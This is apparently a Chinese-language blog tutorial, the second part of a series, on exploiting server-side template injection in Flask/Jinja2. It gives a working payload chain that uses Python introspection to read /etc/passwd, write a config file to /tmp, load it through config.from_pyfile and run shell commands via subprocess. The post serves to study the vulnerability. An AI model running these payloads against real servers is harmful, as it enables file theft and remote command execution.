在探索Flask/Jinja2中的服務端模版注入Part1中,我最初的目标是找到檔案的路徑或者說是進行檔案系統通路。之前還無法達成這些目标,但是感謝朋友們在之前文章中的回報,現在我已經能夠實作這些目标了。本文就來講講進一步研究獲得的結果。
神助攻
對于之前的文章,感謝Nicolas G 對我們的幫助
如果你有玩玩這個payload,你很快就會清楚這是行不通的。這裡有有幾個比較合理的解釋,之後我會簡短給大家說說。關鍵是這個payload使用了多個之前我們忽略了但非常重要的内省實用程式:
__mro__
以及
__subclasses__
屬性
免噴申明:以下的解釋可能會存在些許生澀,我實在沒興趣把自己搞的非常精通啥的,就這水準了。大多數時候我在解決架構/語言中存在的模糊不清的部分,我都會嘗試看是否能夠帶給我預期的效果,但我一直不知道會産生這種效果的緣由。我依舊在學習這些屬性背後隐藏着的“為什麼”,但我至少想将我知道的分享給大家!
__mro__
中的MRO(Method Resolution Order)代表着解析方法調用的順序,可以看看Python文檔中的介紹。它是每個對象元類的一個隐藏屬性,當進行内省時會忽略
dir
輸出(see Objects/object.c at line 1812)
__subclasses__
屬性在這裡作為一種方法被定義為,對每個new-style class“為它的直接子類維持一個弱引用清單”,之後“傳回一個包含所有存活引用的清單”。
簡單來說,
__mro__
允許我們在目前Python環境中追溯對象繼承樹,之後
__subclasses__
又讓我們回到原點。從一個new-style object開始,例如
str
類型。使用
__mro__
我們可以從繼承樹爬到根對象類,之後在Python環境中使用
__subclasses__
爬向每一個new-style object。ok,這讓我們能夠通路加載到目前Python環境下的所有類,那麼我們該怎麼利用這一新發現愉快的玩耍呢?
利用
這裡我們還要考慮一些東西,Python環境可能會包括:
源于Flask應用的東西
目标應用自定義的一些東西
因為我們是想獲得一個通用exploit,是以測試環境越接近原生Flask越好。越向應用中添加庫和第三方子產品,那我們能獲得通用exploit的機率就越低。我們之前進行概念驗證時使用的那個應用就是一個非常不錯的選擇。
為了挖掘出一枚exploit向量,要求不修改目标源代碼。在前一篇文章中,為了進行内省,我們向存在漏洞的應用中添加了一些函數,但現在這些統統都不需要了。
首先我們要做的第一件事便是選擇一個new-style object用于通路
object
基類。可以簡單的使用
''
,一個空字元串,
str
對象類型。之後我們可以使用
__mro__
屬性通路對象的繼承類。将
{{ ''.__class__.__mro__ }}
作為payload注入到存在SSTI漏洞的頁面中
我們可以看到之前讨論過的元組現在正向我們回報,由于我們想追溯根對象類,我們利用第二條索引選擇
object
類類型。目前我們正位于根對象,可以利用
__subclasses__
屬性dump所有存在于應用程式中的類,将
{{ ''.__class__.__mro__[2].__subclasses__() }}
注入到SSTI漏洞中。
如你所看到的,這裡面的資訊太多了。在我使用的這個目标App中,這裡有572個可通路類。這事情變得有些棘手了,這也是為什麼上面推特中提到的payload行不通的原因了。記住,并不是每個應用的Python環境都差不多。我們的目标是找到一個能夠讓我們通路檔案或者作業系統的東西。可能不那麼容易在一個應用中找到類似
subprocess.Popen
子產品進而獲得一枚exploit,例如受前文Twitter上附有的那個payload影響的應用。但是從我的發現來看,沒有什麼能夠比得上原生Flask。幸好,在原生Flask下我們也能夠實作類似的效果。
如果你梳理之前payload的輸出資訊,你應該可以找到
<type 'file'>
類,它是檔案系統通路的關鍵。雖然
open
是建立檔案對象的内置函數,
file
類也是有能力列舉檔案對象的,如果我們能夠列舉一個檔案對象,之後我們可以使用類似
read
方法來提取内容。為了證明這一點,找到
file
類的索引并注入
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,其中的
40
是環境中
<type 'file'>
類的索引。
主觀上我們已經證明了在Flask/Jinja2架構下利用SSTI是能夠讀取檔案的,我們廢了這麼多時間難道隻是這樣?今天我的目标是遠端代碼/指令執行!
在前一篇文章中我引用了
config
對象的幾個方法将對象加載到Flask配置環境中。其中一種方法便是
from_pyfile
,以下為
from_pyfile
方法的代碼(
flask/config.py
)
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to `True` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
這裡有幾個非常有趣的東西,最明顯的是使用一個檔案路徑作為
compile
函數的參數。如果我們能夠向作業系統寫入檔案,那麼就可以大顯身手咯。正如我們剛才讨論的,我們能夠做到!利用前面提及的
file
類不僅可以讀取檔案還可以向目标伺服器寫入檔案。之後我們通過SSTI漏洞調用
from_pyfile
方法編譯檔案并執行其中内容,這是一個2階段攻擊。首先向SSTI漏洞注入類似
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}
。之後通過注入
{{ config.from_pyfile('/tmp/owned.cfg') }}
觸發編譯程序,之後就會執行編譯後的代碼。遠端代碼執行完成!
接下來将戰果擴大,雖然代碼在運作就非常棒了,但每個代碼塊都必須經過一個多步驟程序。讓我們利用
from_pyfile
方法為其預設用途,并向
config
對象添加一些有用的玩意。向SSTI漏洞注入
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
。這将向遠端伺服器寫入一個檔案,當編譯完成為
subprocess
子產品引入
check_output
方法,并将其設定指向變量
RUNCMD
。如果你回想一下上一篇文章,你會将其添加到Flask
config
對象,用大寫字元将其看作為一個屬性。
注入
{{ config.from_pyfile('/tmp/owned.cfg') }}
,向
config
對象添加一個新項。注意以下兩張圖檔的不同之處!
現在我們可以調用新的配置項在遠端伺服器上運作指令了,通過向SSTI漏洞注入
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
即可證明!
遠端指令執行完成!
總結
我們不必再去糾結如何逃避Flask/Jinja2架構的模版沙盒,現在就可以得出結論:在Flask/Jinja2環境下SSTI漏洞帶來的影響實實在在的存在!